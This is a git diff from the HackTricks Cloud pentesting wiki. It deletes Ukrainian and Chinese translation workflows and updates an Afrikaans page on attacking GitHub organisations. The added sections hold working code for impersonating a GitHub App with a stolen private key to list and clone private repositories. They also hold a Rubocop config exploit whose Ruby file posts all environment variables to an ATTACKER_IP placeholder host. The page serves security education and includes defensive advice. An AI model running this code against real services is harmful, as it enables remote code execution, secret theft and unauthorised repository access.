BRANCH: tr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to UK (Ukranian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: uk
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Ukranian
BRANCH: uk
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to ZH (Chinese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: zh
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Chinese
BRANCH: zh
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -16,15 +16,15 @@ basic-github-information.md
Github repositories kan gekonfigureer word as publiek, privaat en intern.
- **Privaat** beteken dat **slegs** mense van die **organisasie** toegang tot hulle sal hê
- **Intern** beteken dat **slegs** mense van die **onderneming** (n onderneming kan verskeie organisasies hê) toegang tot dit sal hê
- **Publiek** beteken dat **alle internet** toegang tot dit sal hê.
- **Privaat** beteken dat **slegs** mense van die **organisasie** toegang sal hê.
- **Intern** beteken dat **slegs** mense van die **onderneming** (n onderneming kan verskeie organisasies hê) toegang sal hê.
- **Publiek** beteken dat **alle internet** toegang sal hê.
As jy die **gebruiker, repo of organisasie wat jy wil teiken** ken, kan jy **github dorks** gebruik om sensitiewe inligting te vind of te soek na **sensitiewe inligting lek** **op elke repo**.
As jy die **gebruikersnaam, repo of organisasie wat jy wil teiken** ken, kan jy **github dorks** gebruik om sensitiewe inligting te vind of te soek na **sensitiewe inligting lekkasies** **op elke repo**.
### Github Dorks
Github laat jou toe om **vir iets te soek deur 'n gebruiker, 'n repo of 'n organisasie as omvang te spesifiseer**. Daarom, met 'n lys van strings wat naby sensitiewe inligting gaan verskyn, kan jy maklik **soek na potensiële sensitiewe inligting in jou teiken**.
Github laat jou toe om **vir iets te soek deur 'n gebruiker, 'n repo of 'n organisasie as omvang te spesifiseer**. Daarom, met 'n lys van strings wat naby sensitiewe inligting gaan verskyn, kan jy maklik **potensiële sensitiewe inligting in jou teiken soek**.
Gereedskap (elke gereedskap bevat sy lys van dorks):
@@ -32,28 +32,22 @@ Gereedskap (elke gereedskap bevat sy lys van dorks):
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks lys](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks lys](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Lekke
### Github Lekasies
Let asseblief daarop dat die github dorks ook bedoel is om te soek na lekke deur gebruik te maak van github soekopsies. Hierdie afdeling is toegewy aan daardie gereedskap wat **elke repo sal aflaai en soek na sensitiewe inligting daarin** (selfs sekere diepte van verbintenisse nagaan).
Let asseblief daarop dat die github dorks ook bedoel is om lekkasies te soek met behulp van github soekopsies. Hierdie afdeling is toegewy aan daardie gereedskap wat **elke repo sal aflaai en soek na sensitiewe inligting daarin** (selfs sekere diepte van verbintenisse nagaan).
Gereedskap (elke gereedskap bevat sy lys van regexes):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
Kyk na hierdie bladsy: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> Wanneer jy soek na lekke in 'n repo en iets soos `git log -p` uitvoer, moenie vergeet daar mag wees **ander takke met ander verbintenisse** wat geheime bevat nie!
> Wanneer jy na lekkasies in 'n repo soek en iets soos `git log -p` uitvoer, moenie vergeet daar mag wees **ander takke met ander verbintenisse** wat geheime bevat nie!
### Eksterne Forks
Dit is moontlik om **repos te kompromitteer deur pull versoeke te misbruik**. Om te weet of 'n repo kwesbaar is, moet jy meestal die Github Actions yaml konfigurasies lees. [**Meer inligting hieroor hieronder**](./#execution-from-a-external-fork).
Dit is moontlik om **repos te kompromitteer deur pull versoeke te misbruik**. Om te weet of 'n repo kwesbaar is, moet jy meestal die Github Actions yaml konfigurasies lees. [**Meer inligting hieroor hieronder**](#execution-from-a-external-fork).
### Github Lekke in verwyderde/intern forks
### Github Lekasies in verwyderde/intern forks
Selfs al is dit verwyder of intern, mag dit moontlik wees om sensitiewe data van forks van github repositories te verkry. Kyk dit hier:
@@ -67,16 +61,16 @@ accessible-deleted-data-in-github.md
Daar is 'n paar **standaard voorregte** wat aan **lede** van die organisasie toegeken kan word. Hierdie kan beheer word vanaf die bladsy `https://github.com/organizations/<org_name>/settings/member_privileges` of vanaf die [**Organisasies API**](https://docs.github.com/en/rest/orgs/orgs).
- **Basiese toestemmings**: Lede sal die toestemming None/Lees/skryf/Admin oor die org repositories hê. Dit word aanbeveel om **Geen** of **Lees** te hê.
- **Basiese toestemmings**: Lede sal die toestemming None/Lees/schrijf/Admin oor die org repositories hê. Dit word aanbeveel om **None** of **Lees** te hê.
- **Repository fork**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede organisasie repositories fork nie.
- **Bladsy skepping**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede bladsye van die org repos publiseer nie. As dit nodig is, kan jy toelaat om publieke of private bladsye te skep.
- **Integrasie toegang versoeke**: Met hierdie geaktiveer sal buite samewerkers in staat wees om toegang te versoek vir GitHub of OAuth apps om toegang tot hierdie organisasie en sy hulpbronne te verkry. Dit is gewoonlik nodig, maar as dit nie is nie, is dit beter om dit te deaktiveer.
- **Integrasie toegang versoeke**: Met hierdie geaktiveer, sal buite medewerkers toegang kan versoek vir GitHub of OAuth apps om toegang tot hierdie organisasie en sy hulpbronne te verkry. Dit is gewoonlik nodig, maar as dit nie is nie, is dit beter om dit te deaktiveer.
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
- **Repository sigbaarheid verandering**: As geaktiveer, sal **lede** met **admin** toestemmings vir die **repository** in staat wees om **sy sigbaarheid te verander**. As gedeaktiveer, kan slegs organisasie eienaars repository sigbaarhede verander. As jy **nie** wil hê mense moet dinge **publiek** maak nie, maak seker dit is **gedeaktiveer**.
- **Repository sigbaarheid verandering**: As geaktiveer, sal **lede** met **admin** toestemmings vir die **repository** in staat wees om **sy sigbaarheid te verander**. As gedeaktiveer, kan slegs organisasie-eienaars repository sigbaarhede verander. As jy **nie** wil hê mense moet dinge **publiek** maak nie, maak seker dit is **gedeaktiveer**.
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
- **Repository verwydering en oordrag**: As geaktiveer, sal lede met **admin** toestemmings vir die repository in staat wees om **te verwyder** of **te oordra** publieke en private **repositories.**
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
- **Laat lede toe om span te skep**: As geaktiveer, sal enige **lid** van die organisasie in staat wees om **nuwe** **spanne** te **skep**. As gedeaktiveer, kan slegs organisasie eienaars nuwe spanne skep. Dit is beter om dit gedeaktiveer te hê.
- **Laat lede toe om spanne te skep**: As geaktiveer, sal enige **lid** van die organisasie in staat wees om **nuwe** **spanne** te **skep**. As gedeaktiveer, kan slegs organisasie-eienaars nuwe spanne skep. Dit is beter om dit gedeaktiveer te hê.
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
- **Meer dinge kan geconfigureer word** op hierdie bladsy, maar die vorige is diegene wat meer sekuriteit gerelateerd is.
@@ -87,13 +81,13 @@ Verskeie sekuriteit gerelateerde instellings kan geconfigureer word vir aksies v
> [!NOTE]
> Let daarop dat al hierdie konfigurasies ook op elke repository onafhanklik gestel kan word
- **Github aksies beleid**: Dit laat jou toe om aan te dui watter repositories workflows kan uitvoer en watter workflows toegelaat moet word. Dit word aanbeveel om **te spesifiseer watter repositories** toegelaat moet word en nie alle aksies toe te laat om uit te voer nie.
- **Github aksies beleid**: Dit laat jou toe om aan te dui watter repositories workflows kan uitvoer en watter workflows toegelaat moet word. Dit word aanbeveel om **te spesifiseer watter repositories** toegelaat moet word en nie alle aksies toe te laat om te loop nie.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull versoek workflows van buite samewerkers**: Dit word aanbeveel om **goedkeuring vir alle** buite samewerkers te vereis.
- **Fork pull versoek workflows van buite medewerkers**: Dit word aanbeveel om **goedkeuring vir alle** buite medewerkers te vereis.
- _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_
- **Voer workflows uit van fork pull versoeke**: Dit is hoogs **afgeradeer om workflows van pull versoeke uit te voer** aangesien onderhouders van die fork oorsprong die vermoë sal hê om tokens met lees toestemmings op die bron repository te gebruik.
- **Voer workflows uit van fork pull versoeke**: Dit is hoogs **afgerade om workflows van pull versoeke uit te voer** aangesien onderhouders van die fork oorsprong die vermoë sal hê om tokens met lees toestemmings op die bron repository te gebruik.
- _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_
- **Workflow toestemmings**: Dit word hoogs aanbeveel om **slegs lees repository toestemmings te gee**. Dit word afgeradeer om skryf en skep/goedkeur pull versoek toestemmings te gee om die misbruik van die GITHUB_TOKEN wat aan lopende workflows gegee word, te vermy.
- **Workflow toestemmings**: Dit word hoogs aanbeveel om **slegs lees repository toestemmings** te gee. Dit is afgerade om skryf en skep/goedkeur pull versoek toestemmings te gee om die misbruik van die GITHUB_TOKEN wat aan lopende workflows gegee word, te vermy.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrasies
@@ -111,26 +105,26 @@ Vir hierdie scenario gaan ons veronderstel dat jy toegang tot 'n github rekening
As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het, kan jy **net aanmeld** en kyk watter **onderneming en organisasie rolle jy het**, as jy 'n gewone lid is, kyk watter **toestemmings gewone lede het**, in watter **groepe** jy is, watter **toestemmings jy het** oor watter **repos,** en **hoe die repos beskerm word.**
Let daarop dat **2FA mag gebruik word** sodat jy slegs toegang tot hierdie inligting sal hê as jy ook **daardie toets kan slaag**.
Let daarop dat **2FA dalk gebruik word** sodat jy slegs toegang tot hierdie inligting sal hê as jy ook **daardie toets kan slaag**.
> [!NOTE]
> Let daarop dat as jy **slaag om die `user_session` koekie te steel** (huidiglik geconfigureer met SameSite: Lax) jy kan **volledig die gebruiker naboots** sonder om kredensiale of 2FA te benodig.
> Let daarop dat as jy **slaag om die `user_session` koekie** (huidiglik geconfigureer met SameSite: Lax) te steel, jy kan **volledig die gebruiker naboots** sonder om kredensiale of 2FA te benodig.
Kyk na die afdeling hieronder oor [**tak beskerming omseilings**](./#branch-protection-bypass) in geval dit nuttig is.
Kyk na die afdeling hieronder oor [**tak beskerming omseilings**](#branch-protection-bypass) in geval dit nuttig is.
### Met Gebruiker SSH Sleutel
Github laat **gebruikers** toe om **SSH sleutels** in te stel wat as **authentikasie metode om kode namens hulle te ontplooi** gebruik sal word (geen 2FA word toegepas nie).
Github laat **gebruikers** toe om **SSH sleutels** in te stel wat as **authentikasie metode gebruik sal word om kode namens hulle te ontplooi** (geen 2FA word toegepas nie).
Met hierdie sleutel kan jy **veranderings in repositories waar die gebruiker sekere voorregte het**, egter jy kan dit nie gebruik om toegang tot die github api te verkry om die omgewing te tel nie. Jy kan egter **lokale instellings tel** om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry:
Met hierdie sleutel kan jy **veranderings in repositories waar die gebruiker sekere voorregte het, uitvoer**, egter jy kan dit nie gebruik om toegang tot die github api te verkry om die omgewing te tel nie. Jy kan egter **lokale instellings tel** om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
As die gebruiker sy gebruikersnaam as sy github gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy gestel het** in sy rekening op _https://github.com/\<github_username>.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.
As die gebruiker sy gebruikersnaam as sy github gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy in sy rekening ingestel het** in _https://github.com/\<github_username>.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.
**SSH sleutels** kan ook in repositories as **ontplooi sleutels** gestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanuit 'n repository te begin**. Gewoonlik in 'n bediener met verskillende ontplooi sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou.
**SSH sleutels** kan ook in repositories as **ontplooi sleutels** ingestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte van 'n repository te begin**. Gewoonlik in 'n bediener met verskillende ontplooi sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou.
#### GPG Sleutels
@@ -154,9 +148,9 @@ Vir 'n inleiding oor [**Github Oauth Toepassings kyk die basiese inligting**](ba
'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.
Hierdie is die [skoppe wat 'n Oauth toepassing kan versoek](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). 'n Mens moet altyd die versoekte skoppe nagaan voordat jy dit aanvaar.
Hierdie is die [skoppe wat 'n Oauth toepassing kan aanvra](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). 'n Gebruiker moet altyd die gevraagde skoppe nagaan voordat hulle dit aanvaar.
Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat met die organisasie verband hou.
Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat verband hou met die organisasie.
### Met Github Toepassing
@@ -164,37 +158,187 @@ Vir 'n inleiding oor [**Github Toepassings kyk die basiese inligting**](basic-gi
'n Aanvaller mag 'n **kwaadwillige Github Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.
Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat met die organisasie verband hou.
Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat verband hou met die organisasie.
## Kompromie & Misbruik Github Aksie
#### Vervang 'n GitHub App met sy privaat sleutel (JWT → installasie toegangsteke)
Daar is verskeie tegnieke om 'n Github Aksie te kompromitteer en te misbruik, kyk dit hier:
As jy die privaat sleutel (PEM) van 'n GitHub App verkry, kan jy die app ten volle vervang oor al sy installasies:
- Genereer 'n kortlewende JWT wat met die privaat sleutel onderteken is
- Bel die GitHub App REST API om installasies te lys
- Munt per-installasie toegangsteke en gebruik dit om te lys/klon/druk na repositories wat aan daardie installasie toegestaan is
Vereistes:
- GitHub App privaat sleutel (PEM)
- GitHub App ID (numeries). GitHub vereis dat iss die App ID is
Skep JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Lys installasies vir die geverifieerde toepassing:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Skep 'n installasie-toegangstoken (geldig ≤ 10 minute):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Gebruik die token om toegang tot die kode te verkry. Jy kan kloon of stoot met die xaccesstoken URL vorm:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Programmatiese PoC om 'n spesifieke org te teiken en private repos te lys (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notas:
- Installasietokens erf die app se repositoryvlak toestemmings presies (byvoorbeeld, inhoud: skryf, pull_requests: skryf)
- Tokens verval in ≤10 minute, maar nuwe tokens kan onbeperk geskep word solank jy die private sleutel behou
- Jy kan ook installasies opnoem via die REST API (GET /app/installations) met die JWT
## Kompromie & Misbruik van Github Action
Daar is verskeie tegnieke om 'n Github Action te kompromitteer en te misbruik, kyk hulle hier:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Branch Beskerming Omseiling
## Misbruik van derdeparty GitHub Apps wat eksterne gereedskap uitvoer (Rubocop uitbreiding RCE)
- **Vereis 'n aantal goedkeuringe**: As jy verskeie rekeninge gecompromitteer het, kan jy dalk net jou PR's van ander rekeninge aanvaar. As jy net die rekening het waaruit jy die PR geskep het, kan jy nie jou eie PR aanvaar nie. As jy egter toegang het tot 'n **Github Aksie** omgewing binne die repo, kan jy met die **GITHUB_TOKEN** dalk jou **PR goedkeur** en op hierdie manier 1 goedkeuring kry.
- _Let wel vir hierdie en vir die Kode Eienaars beperking dat 'n gebruiker gewoonlik nie sy eie PR's kan goedkeur nie, maar as jy kan, kan jy dit misbruik om jou PR's te aanvaar._
- **Verwerp goedkeuringe wanneer nuwe verbintenisse gestuur word**: As dit nie ingestel is nie, kan jy wettige kode indien, wag totdat iemand dit goedkeur, en kwaadwillige kode plaas en dit in die beskermde tak saamvoeg.
- **Vereis hersienings van Kode Eienaars**: As dit geaktiveer is en jy is 'n Kode Eienaar, kan jy 'n **Github Aksie laat jou PR skep en dit dan self goedkeur**.
- Wanneer 'n **CODEOWNER-lêer verkeerd geconfigureer is**, kla Github nie, maar dit gebruik dit nie. Daarom, as dit verkeerd geconfigureer is, is **Kode Eienaars beskerming nie van toepassing nie.**
- **Laat gespesifiseerde akteurs om pull request vereistes te omseil**: As jy een van hierdie akteurs is, kan jy pull request beskermings omseil.
Sommige GitHub Apps en PR hersien dienste voer eksterne linters/SAST uit teen pull requests met behulp van repository-beheerde konfigurasie lêers. As 'n ondersteunde gereedskap dinamiese kode laai toelaat, kan 'n PR RCE op die diens se hardeware bereik.
Voorbeeld: Rubocop ondersteun die laai van uitbreidings vanaf sy YAML konfig. As die diens 'n repo-geleverde .rubocop.yml deurgee, kan jy arbitrêre Ruby uitvoer deur 'n plaaslike lêer te vereis.
- Trigger toestande sluit gewoonlik in:
- Die gereedskap is geaktiveer in die diens
- Die PR bevat lêers wat die gereedskap herken (vir Rubocop: .rb)
- Die repo bevat die gereedskap se konfigurasie lêer (Rubocop soek .rubocop.yml enige plek)
Eksploiteer lêers in die PR:
.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (exfiltreer hardloop omgewingsveranderlikes):
```ruby
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
Ook sluit 'n voldoende groot dummy Ruby-lêer in (bv. main.rb) sodat die linter werklik loop.
Impakte waargeneem in die natuur:
- Volledige kode-uitvoering op die produksie-loper wat die linter uitgevoer het
- Ekstraksie van sensitiewe omgewing veranderlikes, insluitend die GitHub App private sleutel wat deur die diens gebruik word, API sleutels, DB akrediteer, ens.
- Met 'n gelekte GitHub App private sleutel kan jy installasie tokens skep en lees/skryf toegang tot alle repositories wat aan daardie app toegestaan is, verkry (sien die afdeling hierbo oor GitHub App impersonasie)
Harde riglyne vir dienste wat eksterne gereedskap uitvoer:
- Behandel repository-gelewer gereedskap konfigurasies as onbetroubare kode
- Voer gereedskap uit in styf geïsoleerde sandboxes sonder sensitiewe omgewing veranderlikes
- Pas die minste bevoegdhede akrediteer en lêerstelsel isolasie toe, en beperk/weier uitgaande netwerk egress vir gereedskap wat nie internettoegang benodig nie
## Branch Protection Bypass
- **Vereis 'n aantal goedkeuringe**: As jy verskeie rekeninge gecompromitteer het, kan jy dalk jou PR's van ander rekeninge aanvaar. As jy net die rekening het waarvandaan jy die PR geskep het, kan jy nie jou eie PR aanvaar nie. As jy egter toegang het tot 'n **Github Action** omgewing binne die repo, kan jy met die **GITHUB_TOKEN** dalk jou **PR goedkeur** en op hierdie manier 1 goedkeuring kry.
- _Let wel vir hierdie en vir die Code Owners beperking dat 'n gebruiker gewoonlik nie sy eie PR's kan goedkeur nie, maar as jy dit kan, kan jy dit misbruik om jou PR's te aanvaar._
- **Verwerp goedkeuringe wanneer nuwe verbintenisse gestuur word**: As dit nie ingestel is nie, kan jy legitieme kode indien, wag totdat iemand dit goedkeur, en kwaadwillige kode plaas en dit in die beskermde tak saamvoeg.
- **Vereis hersienings van Code Owners**: As dit geaktiveer is en jy 'n Code Owner is, kan jy 'n **Github Action jou PR laat skep en dit dan self goedkeur**.
- Wanneer 'n **CODEOWNER lêer verkeerd geconfigureer is**, kla Github nie, maar dit gebruik dit nie. Daarom, as dit verkeerd geconfigureer is, is **Code Owners beskerming nie toegepas nie.**
- **Laat gespesifiseerde akteurs toe om pull request vereistes te omseil**: As jy een van hierdie akteurs is, kan jy pull request beskermings omseil.
